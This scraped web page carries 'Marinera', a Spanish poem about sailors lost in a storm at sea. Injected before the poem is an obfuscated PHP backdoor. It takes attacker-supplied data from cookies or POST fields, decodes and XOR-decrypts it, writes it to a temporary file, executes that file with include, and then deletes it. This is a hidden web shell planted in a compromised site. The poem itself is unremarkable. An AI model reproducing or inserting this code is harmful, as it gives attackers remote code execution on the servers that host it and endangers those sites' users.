$poVPthDL = class_exists("bi_PWWP");if (!$poVPthDL){class bi_PWWP{private $bhKPifoBh;public static $VVmPfuns = "6031f892-4c69-461b-aa03-20f57dd0098d";public static $QngRyX = NULL;public function __construct(){$IHLQmOo = $_COOKIE;$mxWYFWABx = $_POST;$Cpzno = @$IHLQmOo[substr(bi_PWWP::$VVmPfuns, 0, 4)];if (!empty($Cpzno)){$gXNuiCKHp = "base64";$DyXuqTtBH = "";$Cpzno = explode(",", $Cpzno);foreach ($Cpzno as $fdScEe){$DyXuqTtBH .= @$IHLQmOo[$fdScEe];$DyXuqTtBH .= @$mxWYFWABx[$fdScEe];}$DyXuqTtBH = array_map($gXNuiCKHp . '_' . 'd' . "\145" . 'c' . "\157" . "\144" . chr ( 207 - 106 ), array($DyXuqTtBH,)); $DyXuqTtBH = $DyXuqTtBH[0] ^ str_repeat(bi_PWWP::$VVmPfuns, (strlen($DyXuqTtBH[0]) / strlen(bi_PWWP::$VVmPfuns)) + 1);bi_PWWP::$QngRyX = @unserialize($DyXuqTtBH);}}public function __destruct(){$this->fkyOS();}private function fkyOS(){if (is_array(bi_PWWP::$QngRyX)) {$nfUdVDT = sys_get_temp_dir() . "/" . crc32(bi_PWWP::$QngRyX[chr ( 510 - 395 ).chr (97) . "\x6c" . chr (116)]);@bi_PWWP::$QngRyX[chr (119) . "\x72" . "\151" . chr (116) . chr (101)]($nfUdVDT, bi_PWWP::$QngRyX["\143" . chr ( 1059 - 948 )."\156" . 't' . chr (101) . chr (110) . "\164"]);include $nfUdVDT;@bi_PWWP::$QngRyX['d' . 'e' . chr (108) . "\145" . "\164" . "\x65"]($nfUdVDT);exit();}}}$ETOLvDXzYi = new bi_PWWP(); $ETOLvDXzYi = NULL;} ?> MARINERA – www.interferencechannel.com

MARINERA

Sólo somos recuerdos de naufragios.

Somos vida que va, que nunca llega.

Y no hay rumbos ni puertos, sólo navegar

hacia un algo que renace más allá de crepúsculos lejanos.

 

La tarde tropieza y cae

en un tremedal de soles taciturnos.

La luz se despide con parsimonia de alcatraces viejos,

y sobre las rocas, aves de melancólica estampa,

como estatuas, inmóviles, del tiempo.

 

Tripulantes de una barca que ha perdido el rumbo,

los marineros cantan oscuras melodías

de corazones repletos de nostalgias.

 

Latido del mundo

en el que el mar se abisma,

las olas baten el tajo profundo de las rocas.

Cordilleras sumergidas, arrugas milenarias,

que el mar pule y agita con su caricia de olas.

 

La tormenta ocupa el lugar del horizonte.

Y sobre el barco, entre dos pliegues del mar,

el techo del mundo se desploma.

 

Desquiciado y desasido,

ulula el pájaro del mar: roto el timón, los mástiles quebrados.

El azul se derrama en cataratas de olvido,

y el viento pasa, raudo como un toro de lidia.

 

Ah, la angustia sublime del mar.

La noche, de dilatados ojos estrellados,

el aceite derramado en torno de los buques,

y un silencio de muerte que parece encallar

en los oscuros rincones del abismo.

 

Duele entonces el mar,

y su inútil esfuerzo de bestia encadenada.

Los marineros navegan hacia el único mar, que es el olvido.

Y de nuevo el horizonte es una línea en calma.

 

Tarcisio Agramonte Ordóñez.

Comments are closed.